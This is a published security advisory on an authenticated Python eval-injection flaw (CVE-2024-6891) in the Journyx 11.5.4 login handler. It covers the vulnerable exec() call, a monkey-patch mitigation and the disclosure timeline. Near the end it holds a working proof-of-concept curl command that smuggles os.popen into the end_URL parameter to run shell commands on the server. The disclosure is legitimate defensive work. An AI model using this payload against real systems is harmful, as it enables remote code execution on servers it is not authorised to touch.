Skip to main content
Advisory ID
KL-001-2024-008
Published
2024-08-07
Vendor
Journyx

Affected Systems

Product
Journyx (jtime)
Version
11.5.4
Platform
GNU/Linux

Discovered By

Jaggar Henry (KoreLogic)
Download (signed .txt)

Vulnerability Details

Affected Vendor: Journyx
Affected Product: Journyx (jtime)
Affected Version: 11.5.4
Platform: GNU/Linux
CWE Classification: CWE-94: Improper Control of Generation of Code ('Code Injection'), CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')
CVE ID: CVE-2024-6891

Vulnerability Description

Attackers with a valid username and password can exploit a python code injection vulnerability during the natural login flow.

Technical Description

When utilizing a username and password to authenticate to Journyx via the web interface, an HTTP request is sent to wtlogin.pyc containing the credentials. Upon a successful login, the user is redirected to wte.pyc or the URL specified in the end_URL body parameter if one is supplied.

An additional condition is present, however. If the end_URL value is over 1,000 characters, the value is instead interpolated into a python “import” statement which is passed into the exec() function, thereby executing arbitrary code.

Code snippet from wtlogin.pyc:

finalURL = end_URL + '.pyc?' + genlib.URLEncodeParams(params)
if len(finalURL) < 1000:
    raise genlib.HTTP302Found(finalURL)
else:
    exec('import %s; %s.main()' % (end_URL, end_URL))

The params variable is derived from the query parameters included in the login request, so the size of finalURL is trivial to inflate.

Mitigation and Remediation Recommendation

The vendor reports that this issue was remediated in Journyx v12.0.0, which is the first wholly cloud-hosted version of this product.

For self-hosted instances of JournyX, additional security measures (such as input sanitization) can be added by monkey patching the PYC file responsible for handling request parameters (mycgi.pyc).

  1. Rename mycgi.pyc to an alternative name, e.g. mycgi_original.pyc.
     $ mv wt_tar/pi/pylib/wtlib/mycgi.py wt_tar/pi/pylib/wtlib/mycgi_original.py
  1. Create a file named mycgi.py in the same directory.
     $ touch wt_tar/pi/pylib/wtlib/mycgi.py
  1. Insert the following code into the newly created mycgi.py
     from mycgi_original import *
     from html import escape

     def patch():
         pdata = _parse()

         # force the value of "end_URL" to always be "wte"
         if pdata.get('end_URL'): pdata['end_URL'] = ['wte']

         # sanitize user-controlled error messages
         for parameter in ['error', 'error_description']:
             if not pdata.get(parameter): continue
             pdata[parameter] = [escape(value) for value in pdata[parameter]]

         return pdata

     _parse = parse
     parse  = patch

Once these changes have been made, the JournyX native mycgi.parse() function will be overwritten with the patch() function located in the mycgi.py file. Relevant to this advisory, the patch provided above will force the end_URL parameter to always have a value of “wte”.

Credit

This vulnerability was discovered by Jaggar Henry of KoreLogic, Inc.

Proof of Concept

By leveraging the existing "web" python module, it is possible
to see the output of shell commands as returned by `os.popen()`.
    [attacker@box]$ HOST='redacted.com'; PORT='8080'; USERNAME='employee'; PASSWORD='password123'; COMMAND='id'; \
               curl -x http://localhost:8080 -X POST \
                    -d "wtusername=$USERNAME&wtpassword=$PASSWORD&end_URL=os,web%0aweb.response.text%3dos.popen('$COMMAND').read()#&timestamp=9999999999&pageid=$RANDOM" \
                    -H 'Cookie: wtsession=foobar' \
                    "http://$HOST:$PORT/jtcgi/wtlogin.pyc?z=$(printf 'Z%.0s' {1..1000})"

    uid=1000(foo) gid=1000(foo) groups=1000(foo),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),135(lxd),136(sambashare)
    [attacker@box]$

The contents of this advisory are copyright(c) 2024 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/

KoreLogic, Inc. is a founder-owned and operated company with a proven track record of providing security services to entities ranging from Fortune 500 to small and mid-sized companies. We are a highly skilled team of senior security consultants doing by-hand security assessments for the most important networks in the U.S. and around the world. We are also developers of various tools and resources aimed at helping the security community. https://www.korelogic.com/about-korelogic.html

Our public vulnerability disclosure policy is available at: https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy

Disclosure Timeline

KoreLogic notifies Journyx support of the intention to report vulnerabilities discovered in the licensed, on-premises version of the product.

Journyx acknowledges receipt.

KoreLogic requests a meeting with Journyx support to share vulnerability details.

KoreLogic reports vulnerability details to Journyx.

Journyx responds that this vulnerability has been remediated in the cloud-hosted version of the product.

KoreLogic offers to test the cloud version to confirm the fix; no response.

KoreLogic notifies Journyx of impending public disclosure.

Journyx confirms version number of the remediation.

KoreLogic public disclosure.

Responsible Disclosure

KoreLogic follows responsible disclosure practices. All vulnerabilities are reported to affected vendors with appropriate time for remediation before public disclosure.

Vendor notification and coordination
90+ day disclosure timeline
CVE coordination when applicable